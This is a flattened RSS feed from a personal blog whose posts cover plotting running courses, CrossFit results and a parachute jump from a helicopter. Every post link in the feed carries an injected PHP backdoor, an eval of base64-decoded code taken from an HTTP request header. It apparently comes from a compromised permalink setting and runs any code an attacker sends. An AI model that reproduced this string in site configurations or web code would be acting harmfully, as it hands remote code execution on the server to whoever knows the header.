Garth's World » Passions http://www.theworldaccordingtogarth.com/wp A place for my non-income producing knowledge Tue, 02 Jun 2009 22:03:16 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 Measuring your runs http://www.theworldaccordingtogarth.com/wp/2007/04/01/measuring-your-runs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/04/01/measuring-your-runs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 02 Apr 2007 04:32:59 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/04/01/measuring-your-runs/ Have you ever wanted to plot a course for a run but wanted it a little more exact than driving your car using your odometer? If so, this is the site for you.

It uses Google maps, and you can plot an exact course using waypoints to measure out an exact course. I just did it for a 5K course on Bayshore.

GMaps Pedometer

]]> http://www.theworldaccordingtogarth.com/wp/2007/04/01/measuring-your-runs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 CrossFit success http://www.theworldaccordingtogarth.com/wp/2007/02/14/crossfit-success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/02/14/crossfit-success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 14 Feb 2007 20:50:47 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/02/14/crossfit-success/ If you are curious about if CrossFit works, here is a boast and a testimonial:

I entered the base pull-up contest today.  Two months ago, I could do about 13 pull-ups (not bad).  Today, I won the competition out of 20+ Marines (the most fanatical pull-up advocates I know), Army, Navy, and Air Force guys by doing 26 pull-ups, tying the base record.

All that in just a couple months on the program.   Thanks CrossFit.

]]> http://www.theworldaccordingtogarth.com/wp/2007/02/14/crossfit-success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2 Crossfit http://www.theworldaccordingtogarth.com/wp/2007/02/13/crossfit/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/02/13/crossfit/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 13 Feb 2007 20:48:47 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/02/13/crossfit/ I have been lifting weights since I was 15. It has been a way of life for me for so long that I get grumpy when I go more than a few days without working out.

My workouts have progressed over the years, as I learned more. I have an insatiable thirst for knowledge about fitness. Over the last few years, I have learned and practiced more and more functional fitness. Then a few months ago, a co-worker of mine introduced me to CrossFit. CrossFit is the summation of all that I had studied, tested, and experienced. In other words, these great people had it all figured out. I have been training using their workouts and philosophy since learning about it. Like many other CrossFitters, it has become my religion.

Expect to see me write about it a lot more on here. For now, I want all of you to check out the website. CrossFit acolytes are police, fire, special forces, ultimate fighters, and even housewives. Using their training methods, people are finding heretofore unknown gains in strength, endurance, and overall fitness. Their results are phenomenal. Check it out. It is on my links on the right.

Best of all? It is all free.

]]> http://www.theworldaccordingtogarth.com/wp/2007/02/13/crossfit/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 I get paid to do this http://www.theworldaccordingtogarth.com/wp/2007/02/10/i-get-paid-to-do-this/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/02/10/i-get-paid-to-do-this/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 10 Feb 2007 21:52:00 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/02/10/i-get-paid-to-do-this/ Can you believe they pay me to do this? It is only $150/month, but still, lucky me.

Our aircraft
Blackhawk

Walking out to the helicopter
I am happy - really

About to jump
Beautiful Tampa Day

Out the door (every picture is me except this one, but it gives you the idea, this guy jumped on another pass)
Feet and knees together, chin on chest

Parachute being pulled out by the static line
On the way down

Arrested descent
1250 feet up and falling

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